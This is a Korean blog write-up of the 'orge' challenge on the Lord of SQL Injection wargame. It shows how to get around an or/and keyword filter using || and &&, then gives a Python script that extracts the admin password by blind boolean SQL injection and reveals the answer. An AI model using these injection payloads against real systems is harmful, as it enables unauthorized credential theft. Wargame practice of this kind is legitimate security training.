WEB hacking/LORD OF SQL INJECTION

[Lord of SQL Injection] orge 문제 풀이

Roronoa 2023. 4. 10. 22:10
반응형

문제 정보

문제 이름 : orge 

문제 설명

[그림 1] orge 문제 접속

or 과 and가 대소문과 상관없이 필터링되었다. ||과 &&(%26)으로 우회가 가능하다.

그리고 우리가 입력한 pw와 result의 pw가 같아야지 문제를 해결할 수 있다.

 

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'세션값'}
password = ''

# # password length 파악
# for length in range(1,20):
#     params = {'pw':f"' || id='admin' && length(pw) = {length} #"}
#     req = requests.get(url, cookies=cookies, params=params)
#     if '<br><h2>Hello admin</h2><code>' in req.text:
#         print(f'password length: {length}')


# requests 파라미터 보내기
# password cracking
for i in range(1,9):        # 패스워드 인덱스 1번째부터 8번째까지
    for letter in range(33,129):        # 아스키코드 33부터 129까지
        params = {'pw':f"'||id='admin'&&ascii(substr(pw,{i},1))={letter}#"}                 # 파라미터로 보내면 url 인코딩되어 전달되는 것 같음
        req = requests.get(url,cookies=cookies,params=params)
        if "<br><h2>Hello admin</h2><code>" in req.text:
            print(f"{i}번째 password: {chr(letter)}")
            password += chr(letter)
            break
print(f"admin password: {password}")

[그림 2] 패스워드 추출

pw값은 7b751aec이다.

반응형